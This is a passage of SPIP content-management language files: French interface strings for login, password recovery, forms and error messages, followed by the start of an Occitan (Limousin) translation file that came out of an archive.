// E
'en_cours' => 'en cours',
'envoi_via_le_site' => 'Envoi via le site',
'erreur' => 'Erreur',
'erreur_balise_non_fermee' => 'dernière balise non refermée :',
'erreur_technique_ajaxform' => 'Oups. Une erreur inattendue a empêché de soumettre le formulaire. Vous pouvez essayer à nouveau.',
'erreur_technique_enregistrement_champs' => 'Une erreur technique a empêché l’enregistrement correct du champ @champs@.',
'erreur_technique_enregistrement_impossible' => 'Une erreur technique a empêché l’enregistrement.',
'erreur_texte' => 'erreur(s)',
'etape' => 'Étape',
// F
'fichier_introuvable' => 'Fichier @fichier@ introuvable',
'form_auteur_confirmation' => 'Confirmez votre adresse email',
'form_auteur_email_modifie' => 'Votre adresse email a été modifiée.',
'form_auteur_envoi_mail_confirmation' => 'Un courrier électronique de confirmation vient d’être envoyé à @email@. Vous devrez visiter l’adresse Web mentionnée dans ce courrier pour valider votre adresse mail.',
'form_auteur_mail_confirmation' => 'Bonjour,
Vous avez demandé à changer votre adresse email.
Pour confirmer votre nouvelle adresse, il suffit de vous connecter à
l’adresse ci-dessous (dans le cas contraire, votre demande
sera ignorée) :
@url@
',
'form_deja_inscrit' => 'Vous êtes déjà inscrite.',
'form_email_non_valide' => 'Votre adresse email n’est pas valide.',
'form_forum_access_refuse' => 'Vous n’avez plus accès à ce site.',
'form_forum_bonjour' => 'Bonjour @nom@,',
'form_forum_confirmer_email' => 'Pour confirmer votre adresse email, rendez-vous à cette adresse : @url_confirm@',
'form_forum_email_deja_enregistre' => 'Cette adresse email est déjà enregistrée, vous pouvez donc utiliser votre mot de passe habituel.',
'form_forum_identifiant_mail' => 'Votre nouvel identifiant vient de vous être envoyé par email.',
'form_forum_identifiants' => 'Identifiants personnels',
'form_forum_indiquer_nom_email' => 'Indiquez ici votre nom et votre adresse email. Votre identifiant personnel vous parviendra rapidement, par courrier électronique.',
'form_forum_login' => 'login :',
'form_forum_message_auto' => '(ceci est un message automatique)',
'form_forum_pass' => 'mot de passe :',
'form_forum_probleme_mail' => 'Problème de mail : l’identifiant ne peut pas être envoyé.',
'form_forum_voici1' => 'Voici vos identifiants pour pouvoir participer à la vie du site "@nom_site_spip@" (@adresse_site@) :',
'form_forum_voici2' => 'Voici vos identifiants pour proposer des articles sur
le site "@nom_site_spip@" (@adresse_login@) :',
'form_indiquer_email' => 'Veuillez indiquer votre adresse email.',
'form_indiquer_nom' => 'Veuillez indiquer votre nom.',
'form_indiquer_nom_site' => 'Veuillez indiquer le nom de votre site.',
'form_pet_deja_enregistre' => 'Ce site est déjà enregistré',
'form_pet_signature_pasprise' => 'Votre signature n’est pas prise en compte.',
'form_prop_confirmer_envoi' => 'Confirmer l’envoi',
'form_prop_description' => 'Description/commentaire',
'form_prop_enregistre' => 'Votre proposition est enregistrée, elle apparaîtra en ligne après validation par les responsables de ce site.',
'form_prop_envoyer' => 'Envoyer un message',
'form_prop_indiquer_email' => 'Veuillez indiquer une adresse email valide',
'form_prop_indiquer_nom_site' => 'Veuillez indiquer le nom du site.',
'form_prop_indiquer_sujet' => 'Veuillez indiquer un sujet',
'form_prop_message_envoye' => 'Message envoyé',
'form_prop_non_enregistre' => 'Votre proposition n’a pas été enregistrée.',
'form_prop_sujet' => 'Sujet',
'form_prop_url_site' => 'Adresse URL du site',
'forum_non_inscrit' => 'Vous n’êtes pas inscrite, ou l’adresse ou le mot de passe sont erronés.',
'forum_par_auteur' => 'par @auteur@',
'forum_titre_erreur' => 'Erreur...',
// I
'ical_texte_rss_articles' => 'Le fichier « backend » des articles de ce site se trouve à l’adresse :',
'ical_texte_rss_articles2' => 'Vous pouvez également obtenir des fichiers « backend » pour les articles de chaque rubrique du site :',
'ical_texte_rss_breves' => 'Il existe de plus un fichier contenant les brèves du site. En précisant un numéro de rubrique, vous obtiendrez uniquement les brèves de cette rubrique.',
'icone_a_suivre' => 'À suivre',
'icone_admin_site' => 'Administration du site',
'icone_agenda' => 'Agenda',
'icone_aide_ligne' => 'Aide',
'icone_articles' => 'Articles',
'icone_auteurs' => 'Auteures',
'icone_brouteur' => 'Navigation rapide',
'icone_configuration_site' => 'Configuration',
'icone_configurer_site' => 'Configurer votre site',
'icone_creer_nouvel_auteur' => 'Créer une nouvelle auteure',
'icone_creer_rubrique' => 'Créer une rubrique',
'icone_creer_sous_rubrique' => 'Créer une sous-rubrique',
'icone_deconnecter' => 'Se déconnecter',
'icone_discussions' => 'Discussions',
'icone_doc_rubrique' => 'Documents des rubriques',
'icone_ecrire_article' => 'Écrire un nouvel article',
'icone_edition_site' => 'Édition',
'icone_gestion_langues' => 'Gestion des langues',
'icone_informations_personnelles' => 'Informations personnelles',
'icone_interface_complet' => 'interface complète',
'icone_interface_simple' => 'Interface simplifiée',
'icone_maintenance_site' => 'Maintenance du site',
'icone_messagerie_personnelle' => 'Messagerie personnelle',
'icone_repartition_debut' => 'Afficher la répartition depuis le début',
'icone_rubriques' => 'Rubriques',
'icone_sauver_site' => 'Sauvegarde du site',
'icone_site_entier' => 'Tout le site',
'icone_sites_references' => 'Sites référencés',
'icone_statistiques' => 'Statistiques du site',
'icone_suivi_activite' => 'Suivre la vie du site',
'icone_suivi_actualite' => 'Évolution du site',
'icone_suivi_pettions' => 'Suivre/gérer les pétitions',
'icone_suivi_revisions' => 'Modifications des articles',
'icone_supprimer_document' => 'Supprimer ce document',
'icone_supprimer_image' => 'Supprimer cette image',
'icone_tous_articles' => 'Tous vos articles',
'icone_tous_auteur' => 'Toutes les auteures',
'icone_tous_visiteur' => 'Toutes les visiteuses',
'icone_visiter_site' => 'Voir le site public',
'icone_voir_en_ligne' => 'Voir en ligne',
'img_indisponible' => 'image indisponible',
'impossible' => 'impossible',
'info_a_suivre' => 'À SUIVRE »',
'info_acces_interdit' => 'Accès interdit',
'info_acces_refuse' => 'Accès refusé',
'info_action' => 'Action : @action@',
'info_administrer_rubriques' => 'Vous pouvez administrer cette rubrique et ses sous-rubriques',
'info_adresse_non_indiquee' => 'Vous n’avez pas indiqué d’adresse à tester !',
'info_aide' => 'AIDE :',
'info_ajouter_mot' => 'Ajouter ce mot',
'info_annonce' => 'ANNONCE',
'info_annonces_generales' => 'Annonces générales :',
'info_article_propose' => 'Article proposé',
'info_article_publie' => 'Article publié',
'info_article_redaction' => 'Article en cours de rédaction',
'info_article_refuse' => 'Article refusé',
'info_article_supprime' => 'Article supprimé',
'info_articles' => 'Articles',
'info_articles_a_valider' => 'Les articles à valider',
'info_articles_nb' => '@nb@ articles',
'info_articles_proposes' => 'Articles proposés',
'info_articles_un' => '1 article',
'info_auteurs_nombre' => 'auteure(s) :',
'info_authentification_ftp' => 'Authentification (par FTP).',
'info_breves_2' => 'brèves',
'info_breves_nb' => '@nb@ brèves',
'info_breves_un' => '1 brève',
'info_connexion_refusee' => 'Connexion refusée',
'info_contact_developpeur' => 'Veuillez contacter une développeuse.',
'info_contenance' => 'Ce site contient :',
'info_contribution' => 'contributions',
'info_copyright' => '@spip@ est un logiciel libre distribué @lien_gpl@.',
'info_copyright_doc' => 'Pour plus d’informations, voir le site <a href="@spipnet@">@spipnet_affiche@</a>.',
'info_copyright_gpl' => 'sous licence GPL',
'info_cours_edition' => 'En cours de rédaction',
'info_creer_repertoire' => 'Veuillez créer un fichier ou un répertoire nommé :',
'info_creer_repertoire_2' => 'à l’intérieur du sous-répertoire <b>@repertoire@</b>, puis :',
'info_creer_vignette' => 'création automatique de la vignette',
'info_creerdansrubrique_non_autorise' => 'Vous n’avez pas de droits suffisants pour créer un contenu dans cette rubrique',
'info_deplier' => 'Déplier',
'info_descriptif_nombre' => 'descriptif(s) :',
'info_description' => 'Description :',
'info_description_2' => 'Description :',
'info_dimension' => 'Dimensions :',
'info_documents_nb' => '@nb@ documents',
'info_documents_un' => '1 document',
'info_ecire_message_prive' => 'Écrire un message privé',
'info_email_invalide' => 'Adresse email invalide.',
'info_en_cours_validation' => 'Vos articles en cours de rédaction',
'info_en_ligne' => 'Actuellement en ligne :',
'info_envoyer_message_prive' => 'Envoyer un message privé à cette auteure',
'info_erreur_requete' => 'Erreur dans la requête :',
'info_erreur_squelette2' => 'Aucun squelette <b>@fichier@</b> n’est disponible...',
'info_erreur_systeme' => 'Erreur système (errno @errsys@)',
'info_erreur_systeme2' => 'Le disque dur est peut-être plein, ou la base de données endommagée.<br />
<span style="color:red;">Essayez de <a href=\'@script@\'>réparer la base</a>, ou contactez votre hébergeur.</span>',
'info_fini' => 'C’est fini !',
'info_format_image' => 'Formats d’images pouvant être utilisées pour créer des vignettes : @gd_formats@.',
'info_format_non_defini' => 'format non défini',
'info_grand_ecran' => 'Grand écran',
'info_image_aide' => 'AIDE',
'info_image_process_titre' => 'Méthode de fabrication des vignettes',
'info_impossible_lire_page' => '<b>Erreur !</b> Impossible de lire la page <tt><html>@test_proxy@</html></tt> à travers le proxy ',
'info_installation_systeme_publication' => 'Installation du système de publication...',
'info_installer_documents' => 'Vous pouvez installer automatiquement tous les documents contenus dans le dossier @upload@.',
'info_installer_ftp' => 'En tant qu’administratrice, vous pouvez installer (par FTP) des fichiers dans le dossier @upload@ pour ensuite les sélectionner directement ici.',
'info_installer_images' => 'Vous pouvez installer des images aux formats JPEG, GIF et PNG.',
'info_installer_images_dossier' => 'Installer des images dans le dossier @upload@ pour pouvoir les sélectionner ici.',
'info_interface_complete' => 'interface complète',
'info_interface_simple' => 'Interface simplifiée',
'info_joindre_document_article' => 'Vous pouvez joindre à cet article des documents de type',
'info_joindre_document_rubrique' => 'Vous pouvez ajouter dans cette rubrique des documents de type',
'info_joindre_documents_article' => 'Vous pouvez joindre à votre article des documents de type :',
'info_l_article' => 'l’article',
'info_la_breve' => 'la brève',
'info_la_rubrique' => 'la rubrique',
'info_langue_principale' => 'Langue principale du site',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ pixels',
'info_les_auteurs_1' => 'par @les_auteurs@',
'info_logo_format_interdit' => 'Seuls les logos aux formats @formats@ sont autorisés.',
'info_logo_max_poids' => 'Les logos doivent obligatoirement faire moins de @maxi@ (ce fichier fait @actuel@).',
'info_mail_fournisseur' => 'vous@fournisseur.com',
'info_message_2' => 'MESSAGE',
'info_message_supprime' => 'MESSAGE SUPPRIMÉ',
'info_messages_nb' => '@nb@ messages',
'info_messages_un' => '1 message',
'info_mise_en_ligne' => 'Date de mise en ligne :',
'info_modification_parametres_securite' => 'modifications des paramètres de sécurité',
'info_mois_courant' => 'Dans le courant du mois :',
'info_mot_cle_ajoute' => 'Le mot-clé suivant a été ajouté à',
'info_multi_herit' => 'Langue par défaut',
'info_multi_langues_soulignees' => 'Les <u>langues soulignées</u> bénéficient d’une traduction totale ou partielle des textes de l’interface. Si vous sélectionnez ces langues, de nombreux éléments du site public (dates, formulaires) seront automatiquement traduits. Pour les langues non soulignées, ces éléments apparaîtront dans la langue principale du site.',
'info_multilinguisme' => 'Multilinguisme',
'info_nom_non_utilisateurs_connectes' => 'Votre nom n’apparaît pas dans la liste des utilisatrices connectées.',
'info_nom_utilisateurs_connectes' => 'Votre nom apparaît dans la liste des utilisatrices connectées.',
'info_nombre_en_ligne' => 'Actuellement en ligne :',
'info_non_resultat' => 'Aucun résultat pour "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Vous n’utilisez pas la messagerie interne de ce site.',
'info_nouveau_message' => 'VOUS AVEZ UN NOUVEAU MESSAGE',
'info_nouveaux_messages' => 'VOUS AVEZ @total_messages@ NOUVEAUX MESSAGES',
'info_numero_abbreviation' => 'N° ',
'info_obligatoire' => 'Cette information est obligatoire',
'info_pense_bete' => 'PENSE-BÊTE',
'info_petit_ecran' => 'Petit écran',
'info_petition_close' => 'Pétition close',
'info_pixels' => 'pixels',
'info_plusieurs_mots_trouves' => 'Plusieurs mots-clés trouvés pour "@cherche_mot@" :',
'info_portfolio_automatique' => 'Portfolio automatique :',
'info_premier_resultat' => '[@debut_limit@ premiers résultats sur @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ premiers résultats sur @total@]',
'info_propose_1' => '[@nom_site_spip@] Propose : @titre@',
'info_propose_2' => 'Article proposé
---------------',
'info_propose_3' => 'L’article "@titre@" est proposé à la publication.',
'info_propose_4' => 'Vous êtes invitée à venir le consulter et à donner votre opinion',
'info_propose_5' => 'dans le forum qui lui est attaché. Il est disponible à l’adresse :',
'info_publie_01' => 'L’article "@titre@" a été validé par @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLIE : @titre@',
'info_publie_2' => 'Article publié
--------------',
'info_rechercher' => 'Rechercher',
'info_rechercher_02' => 'Rechercher :',
'info_remplacer_vignette' => 'Remplacer la vignette par défaut par un logo personnalisé :',
'info_rubriques_nb' => '@nb@ rubriques',
'info_rubriques_un' => '1 rubrique',
'info_sans_titre_2' => 'sans titre',
'info_selectionner_fichier' => 'Vous pouvez sélectionner un fichier du dossier @upload@',
'info_selectionner_fichier_2' => 'Sélectionner un fichier :',
'info_sites_nb' => '@nb@ sites',
'info_sites_un' => '1 site',
'info_supprimer_vignette' => 'supprimer la vignette',
'info_symbole_bleu' => 'Le symbole <b>bleu</b> indique un <b>pense-bête</b> : c’est-à-dire un message à votre usage personnel.',
'info_symbole_jaune' => 'Le symbole <b>jaune</b> indique une <b>annonce à toutes les rédactrices</b> : modifiable par toutes les administratrices, et visible par toutes les rédactrices.',
'info_symbole_vert' => 'Le symbole <b>vert</b> indique les <b>messages échangés avec d’autres utilisatrices</b> du site.',
'info_telecharger_nouveau_logo' => 'Télécharger un nouveau logo :',
'info_telecharger_ordinateur' => 'Télécharger depuis votre ordinateur :',
'info_tous_resultats_enregistres' => '[tous les résultats sont enregistrés]',
'info_tout_afficher' => 'Tout afficher',
'info_travaux_texte' => 'Ce site n’est pas encore configuré. Revenez plus tard...',
'info_travaux_titre' => 'Site en travaux',
'info_trop_resultat' => 'Trop de résultats pour "@cherche_mot@" ; veuillez affiner la recherche.',
'info_utilisation_messagerie_interne' => 'Vous utilisez la messagerie interne de ce site.',
'info_valider_lien' => 'valider ce lien',
'info_verifier_image' => ', veuillez vérifier que vos images ont été transférées correctement.',
'info_vignette_defaut' => 'Vignette par défaut',
'info_vignette_personnalisee' => 'Vignette personnalisée',
'info_visite' => 'visite :',
'info_vos_rendez_vous' => 'Vos rendez-vous à venir',
'infos_vos_pense_bete' => 'Vos pense-bêtes',
// L
'label_ajout_id_rapide' => 'Ajout rapide',
'label_poids_fichier' => 'Taille',
'lien_afficher_icones_seuls' => 'Afficher uniquement les icones',
'lien_afficher_texte_icones' => 'Afficher les icones et le texte',
'lien_afficher_texte_seul' => 'Afficher uniquement le texte',
'lien_liberer' => 'libérer',
'lien_liberer_tous' => 'Tout libérer',
'lien_nouvea_pense_bete' => 'NOUVEAU PENSE-BÊTE',
'lien_nouveau_message' => 'NOUVEAU MESSAGE',
'lien_nouvelle_annonce' => 'NOUVELLE ANNONCE',
'lien_petitions' => 'PÉTITION',
'lien_popularite' => 'popularité : @popularite@%',
'lien_racine_site' => 'RACINE DU SITE',
'lien_reessayer' => 'réessayer',
'lien_repondre_message' => 'Répondre à ce message',
'lien_supprimer' => 'supprimer',
'lien_tout_afficher' => 'Tout afficher',
'lien_visite_site' => 'visiter ce site',
'lien_visites' => '@visites@ visites',
'lien_voir_auteur' => 'Voir cette auteure',
'ligne' => 'Ligne',
'login' => 'Connexion',
'login_acces_prive' => 'accès à l’espace privé',
'login_autre_identifiant' => 'se connecter sous un autre identifiant',
'login_cookie_accepte' => 'Veuillez régler votre navigateur pour qu’il les accepte (au moins pour ce site).',
'login_cookie_oblige' => 'Pour vous identifier de façon sûre sur ce site, vous devez accepter les cookies.',
'login_deconnexion_ok' => 'Déconnexion effectuée.',
'login_erreur_pass' => 'Erreur de mot de passe.',
'login_espace_prive' => 'espace privé',
'login_identifiant_inconnu' => 'L’identifiant « @login@ » est inconnu.',
'login_login' => 'Login :',
'login_login2' => 'Login ou adresse email :',
'login_login_pass_incorrect' => '(Login ou mot de passe incorrect.)',
'login_motpasseoublie' => 'mot de passe oublié ?',
'login_non_securise' => 'Attention, ce formulaire n’est pas sécurisé.
Si vous ne voulez pas que votre mot de passe puisse être
intercepté sur le réseau, veuillez activer Javascript
dans votre navigateur et',
'login_nouvelle_tentative' => 'Nouvelle tentative',
'login_par_ici' => 'Vous êtes enregistrée... par ici...',
'login_pass2' => 'Mot de passe :',
'login_preferez_refuser' => '<b>Si vous préférez refuser les cookies</b>, une autre méthode de connexion (moins sécurisée) est à votre disposition :',
'login_recharger' => 'recharger cette page',
'login_rester_identifie' => 'Rester identifiée quelques jours',
'login_retour_public' => 'Retour au site public',
'login_retour_site' => 'Retour au site public',
'login_retoursitepublic' => 'retour au site public',
'login_sans_cookiie' => 'Identification sans cookie',
'login_securise' => 'Login sécurisé',
'login_sinscrire' => 's’inscrire',
'login_test_navigateur' => 'test navigateur/reconnexion',
'login_verifiez_navigateur' => '(Vérifiez toutefois que votre navigateur n’a pas mémorisé votre mot de passe...)',
// M
'masquer_colonne' => 'Masquer cette colonne',
'masquer_trad' => 'masquer les traductions',
'module_fichiers_langues' => 'Fichiers de langue',
// N
'navigateur_pas_redirige' => 'Si votre navigateur n’est pas redirigé, cliquez ici pour continuer.',
'numero' => 'Numéro',
// O
'occurence' => 'Occurrence',
'onglet_affacer_base' => 'Effacer la base',
'onglet_auteur' => 'L’auteure',
'onglet_contenu_site' => 'Contenu du site',
'onglet_evolution_visite_mod' => 'Évolution',
'onglet_fonctions_avances' => 'Fonctions avancées',
'onglet_informations_personnelles' => 'Informations personnelles',
'onglet_interactivite' => 'Interactivité',
'onglet_messagerie' => 'Messagerie',
'onglet_repartition_rubrique' => 'Répartition par rubriques',
'onglet_save_restaur_base' => 'Sauvegarder/restaurer la base',
'onglet_vider_cache' => 'Vider le cache',
// P
'pass_choix_pass' => 'Veuillez choisir votre nouveau mot de passe :',
'pass_erreur' => 'Erreur',
'pass_erreur_acces_refuse' => '<b>Erreur :</b> vous n’avez plus accès à ce site.',
'pass_erreur_code_inconnu' => '<b>Erreur :</b> ce code ne correspond à aucune des visiteuses ayant accès à ce site.',
'pass_erreur_non_enregistre' => '<b>Erreur :</b> l’adresse <tt>@email_oubli@</tt> n’est pas enregistrée sur ce site.',
'pass_erreur_non_valide' => '<b>Erreur :</b> cet email <tt>@email_oubli@</tt> n’est pas valide !',
'pass_erreur_probleme_technique' => '<b>Erreur :</b> à cause d’un problème technique, l’email ne peut pas être envoyé.',
'pass_espace_prive_bla' => 'L’espace privé de ce site est ouvert aux
visiteuses, après inscription. Une fois enregistrée,
vous pourrez consulter les articles en cours de rédaction,
proposer des articles et participer à tous les forums.',
'pass_forum_bla' => 'Vous avez demandé à intervenir sur un forum
réservé aux visiteuses enregistrées.',
'pass_indiquez_cidessous' => 'Indiquez ci-dessous l’adresse email sous laquelle vous
vous êtes précédemment enregistrée. Vous
recevrez un email vous indiquant la marche à suivre pour
récupérer votre accès.',
'pass_mail_passcookie' => '(ceci est un message automatique)
Pour retrouver votre accès au site
@nom_site_spip@ (@adresse_site@)
Veuillez vous rendre à l’adresse suivante :
@sendcookie@
Vous pourrez alors entrer un nouveau mot de passe
et vous reconnecter au site.
',
'pass_mot_oublie' => 'Mot de passe oublié',
'pass_nouveau_enregistre' => 'Votre nouveau mot de passe a été enregistré.',
'pass_nouveau_pass' => 'Nouveau mot de passe',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Oubli du mot de passe',
'pass_procedure_changer' => 'Pour changer votre mot de passe, nous devons d’abord vérifier votre identité. Pour cela indiquez-nous l’adresse email associée à votre compte.',
'pass_quitter_fenetre' => 'Quitter cette fenêtre',
'pass_rappel_login' => 'Rappel : votre identifiant (login) est « @login@ ».',
'pass_recevoir_mail' => 'Vous allez recevoir un email vous indiquant comment retrouver votre accès au site.',
'pass_retour_public' => 'Retour sur le site public',
'pass_rien_a_faire_ici' => 'Rien à faire ici.',
'pass_vousinscrire' => 'Vous inscrire sur ce site',
'precedent' => 'précédent',
'previsualisation' => 'Prévisualisation',
'previsualiser' => 'Prévisualiser',
// R
'retour' => 'Retour',
// S
'spip_conforme_dtd' => 'SPIP considère ce document comme conforme à son DOCTYPE :',
'squelette' => 'squelette',
'squelette_inclus_ligne' => 'squelette inclus, ligne',
'squelette_ligne' => 'squelette, ligne',
'stats_visites_et_popularite' => '@visites@ visites ; popularité : @popularite@',
'suivant' => 'suivant',
// T
'taille_go' => '@taille@ Go',
'taille_ko' => '@taille@ ko',
'taille_mo' => '@taille@ Mo',
'taille_octets' => '@taille@ octets',
'texte_actualite_site_1' => 'Quand vous serez familiarisée avec l’interface, vous pourrez cliquer sur « ',
'texte_actualite_site_2' => 'interface complète',
'texte_actualite_site_3' => ' » pour ouvrir plus de possibilités.',
'texte_creation_automatique_vignette' => 'La création automatique de vignettes de prévisualisation est activée sur ce site. Si vous installez à partir de ce formulaire des images au(x) format(s) @gd_formats@, elles seront accompagnées d’une vignette d’une taille maximale de @taille_preview@ pixels.',
'texte_documents_associes' => 'Les documents suivants sont associés à l’article,
mais ils n’y ont pas été directement
insérés. Selon la mise en page du site public,
ils pourront apparaître sous forme de documents joints.',
'texte_erreur_mise_niveau_base' => 'Erreur de base de données lors de la mise à niveau.
L’image <b>@fichier@</b> n’est pas passée (article @id_article@).
Notez bien cette référence, réessayez la mise à
niveau, et enfin vérifiez que les images apparaissent
toujours dans les articles.',
'texte_erreur_visiteur' => 'Vous avez tenté d’accéder à l’espace privé avec un login qui ne le permet pas.',
'texte_inc_auth_1' => 'Vous êtes identifiée sous le
login <b>@auth_login@</b>, mais celui-ci n’existe pas/plus dans la base.
Essayez de vous',
'texte_inc_auth_2' => 'reconnecter',
'texte_inc_auth_3' => ', après avoir éventuellement quitté puis
redémarré votre navigateur.',
'texte_inc_config' => 'Les modifications effectuées dans ces pages influent notablement sur le
fonctionnement de votre site. Nous vous recommandons de ne pas y intervenir tant que vous n’êtes pas
familière du fonctionnement du système SPIP. <br /><br /><b>Plus
généralement, il est fortement conseillé
de laisser la charge de ces pages à la webmestre principale de votre site.</b>',
'texte_inc_meta_1' => 'Le système a rencontré une erreur lors de l’écriture du fichier <code>@fichier@</code>. Veuillez, en tant qu’administratrice du site,',
'texte_inc_meta_2' => 'vérifier les droits d’écriture',
'texte_inc_meta_3' => 'sur le répertoire <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'en cours de rédaction',
'texte_statut_poubelle' => 'à la poubelle',
'texte_statut_propose_evaluation' => 'proposé à l’évaluation',
'texte_statut_publie' => 'publié en ligne',
'texte_statut_refuse' => 'refusé',
'titre_ajouter_mot_cle' => 'AJOUTER UN MOT-CLÉ :',
'titre_cadre_raccourcis' => 'RACCOURCIS :',
'titre_changer_couleur_interface' => 'Changer la couleur de l’interface',
'titre_image_admin_article' => 'Vous pouvez administrer cet article',
'titre_image_administrateur' => 'Administratrice',
'titre_image_aide' => 'De l’aide sur cet élément',
'titre_image_auteur_supprime' => 'Auteure supprimée',
'titre_image_redacteur' => 'Rédactrice sans accès',
'titre_image_redacteur_02' => 'Rédactrice',
'titre_image_selecteur' => 'Afficher la liste',
'titre_image_visiteur' => 'Visiteur',
'titre_joindre_document' => 'JOINDRE UN DOCUMENT',
'titre_mots_cles' => 'MOTS-CLÉS',
'titre_probleme_technique' => 'Attention : un problème technique (serveur SQL) empêche l’accès à cette partie du site. Merci de votre compréhension.',
'titre_publier_document' => 'PUBLIER UN DOCUMENT DANS CETTE RUBRIQUE',
'titre_signatures_attente' => 'Signatures en attente de validation',
'titre_signatures_confirmees' => 'Signatures confirmées',
'titre_statistiques' => 'Statistiques du site',
'titre_titre_document' => 'Titre du document :',
'todo' => 'à venir',
'trad_reference' => '(référence des traductions)',
// Z
'zbug_balise_b_aval' => ' : balise B en aval',
'zbug_balise_inexistante' => 'Balise @balise@ mal déclarée pour @from@',
'zbug_balise_sans_argument' => 'Argument manquant dans la balise @balise@',
'zbug_boucle' => 'boucle',
'zbug_boucle_recursive_undef' => 'Boucle récursive non définie : @nom@',
'zbug_calcul' => 'calcul',
'zbug_champ_hors_boucle' => 'Champ @champ@ hors boucle',
'zbug_champ_hors_motif' => 'Champ @champ@ hors d’un contexte @motif@',
'zbug_code' => 'code',
'zbug_critere_inconnu' => 'Critère inconnu @critere@',
'zbug_distant_interdit' => 'Externe interdit',
'zbug_doublon_table_sans_cle_primaire' => 'Doublons sur une table sans clef primaire atomique',
'zbug_doublon_table_sans_index' => 'Doublons sur une table sans index',
'zbug_erreur_boucle_double' => 'Double définition de la boucle @id@',
'zbug_erreur_boucle_fermant' => 'Boucle @id@ non fermée',
'zbug_erreur_boucle_syntaxe' => 'Syntaxe de la boucle @id@ incorrecte',
'zbug_erreur_compilation' => 'Erreur de compilation',
'zbug_erreur_execution_page' => 'Erreur d’exécution',
'zbug_erreur_filtre' => 'Filtre @filtre@ non défini',
'zbug_erreur_meme_parent' => 'Le critère {meme_parent} ne s’applique qu’aux boucles (FORUMS) ou (RUBRIQUES)',
'zbug_erreur_squelette' => 'Erreur(s) dans le squelette',
'zbug_hors_compilation' => 'Hors Compilation',
'zbug_info_erreur_squelette' => 'Erreur sur le site',
'zbug_inversion_ordre_inexistant' => 'Inversion d’un ordre inexistant',
'zbug_pagination_sans_critere' => 'Balise #PAGINATION sans critère {pagination} ou employé dans une boucle récursive',
'zbug_parametres_inclus_incorrects' => 'Paramètre d’inclusion incorrect : @param@',
'zbug_profile' => 'Temps de calcul : @time@',
'zbug_resultat' => 'résultat',
'zbug_serveur_indefini' => 'Serveur SQL indéfini',
'zbug_statistiques' => 'Statistiques des requêtes SQL classées par durée',
'zbug_table_inconnue' => 'Table SQL « @table@ » inconnue',
'zxml_connus_attributs' => 'attributs connus',
'zxml_de' => 'de',
'zxml_inconnu_attribut' => 'attribut inconnu',
'zxml_inconnu_balise' => 'balise inconnue',
'zxml_inconnu_entite' => 'entité inconnue',
'zxml_inconnu_id' => 'ID inconnu',
'zxml_mais_de' => 'mais de',
'zxml_non_conforme' => 'n’est pas conforme au motif',
'zxml_non_fils' => 'n’est pas un fils de',
'zxml_nonvide_balise' => 'balise non vide',
'zxml_obligatoire_attribut' => 'attribut obligatoire mais absent dans',
'zxml_succession_fils_incorrecte' => 'succession des fils incorrecte',
'zxml_survoler' => 'survoler pour voir les corrects',
'zxml_valeur_attribut' => 'valeur de l’attribut',
'zxml_vide_balise' => 'balise vide',
'zxml_vu' => 'vu auparavant'
);
?>
ecrire_oc_lms.php 0000666 00000147056 15252547432 0010114 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=oc_lms
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aide_non_disponible' => 'Quela part de l’ajuda en linha es pas enquera disponibla per questa lenga.',
'avis_acces_interdit' => 'Accès proïbit.',
'avis_article_modifie' => 'Atencion, @nom_auteur_modif@ a trabalhat sus aquel article quò fai @date_diff@ minutas',
'avis_aucun_resultat' => 'Brisa de resultat.',
'avis_chemin_invalide_1' => 'Lo chamin qu’avetz chausit',
'avis_chemin_invalide_2' => 'sembla pas valid. Volhatz tornar vers la pagina anteriora per verificar las informacions fornidas.',
'avis_connexion_echec_1' => 'La connexion au servidor SQL a frolhat.', # MODIF
'avis_connexion_echec_2' => 'Tornatz a la pagina anteriora, e verificatz las informacions qu’avetz fornidas.',
'avis_connexion_echec_3' => '<b>N.B.</b> Sus ben daus servidors, devetz <b>demandar</b> qu’activen vòstre accès a la basa SQL avans de la poder utilizar. Se vos podetz pas connectar, verificatz qu’ajatz be realizat queu procediment.', # MODIF
'avis_connexion_ldap_echec_1' => 'La connexion au servidor LDAP a frolhat.',
'avis_connexion_ldap_echec_2' => 'Tornatz a la pagina anteriora, e verificatz las informacions qu’avetz fornidas. ',
'avis_connexion_ldap_echec_3' => 'Alternativament, utilizetz pas lo supòrt LDAP per importar daus utilizaires.',
'avis_deplacement_rubrique' => 'Atention! Quela rubrica conten @contient_breves@ brevas@scb@: se la desplaçatz, voudretz be oschar quela casa de confirmacion.',
'avis_destinataire_obligatoire' => 'Devetz indicar un destinatari avans de mandar queu messatge.',
'avis_erreur_connexion_mysql' => 'Error de connexion SQL',
'avis_erreur_version_archive' => '<b>Atencion! Lo fichier @archive@ correspond emb una autra version d’SPIP que la qu’avetz installada.</b> Anatz vers de las dificultats grandassas: risca de destruccion de vòstra basa de donadas, disfoncionaments divers dau sit, etc. Validetz pas quela demanda d’importacion.<p> Per mai d’informacions, vesetz
<a href="@spipnet@">
la documentacion d’SPIP</a>.', # MODIF
'avis_espace_interdit' => '<b>Espaci proïbit</b><p>SPIP es ja installat.',
'avis_lecture_noms_bases_1' => 'Lo programa d’installacion a pas pogut legir los noms de las basas de donadas installadas.',
'avis_lecture_noms_bases_2' => 'Siá brisa de basa es pas disponibla, siá la foncion que permet d’entierar las basas es estada desactivada per de las rasons de seguretat (quo es lo cas chas mai d’un auberjador).',
'avis_lecture_noms_bases_3' => 'Dins la segonda alternativa, es probable qu’una basa que pòrta vòstre nom de login siá utilizabla:',
'avis_non_acces_message' => 'Podetz pas accedir a queu messatge.',
'avis_non_acces_page' => 'Podetz pas accedir a quela pagina.',
'avis_operation_echec' => 'L’operacion a frolhat.',
'avis_probleme_archive' => 'Problema de lectura dau fichier @archive@',
'avis_suppression_base' => 'ATENCION, suprimir las donadas es irreversible',
'avis_version_mysql' => 'Vòstra version de SQL (@version_mysql@) permet pas l’autoreparacion de las taulas de la basa.',
// B
'bouton_acces_ldap' => 'Apondre l’accès a LDAP >>',
'bouton_ajouter' => 'Apondre',
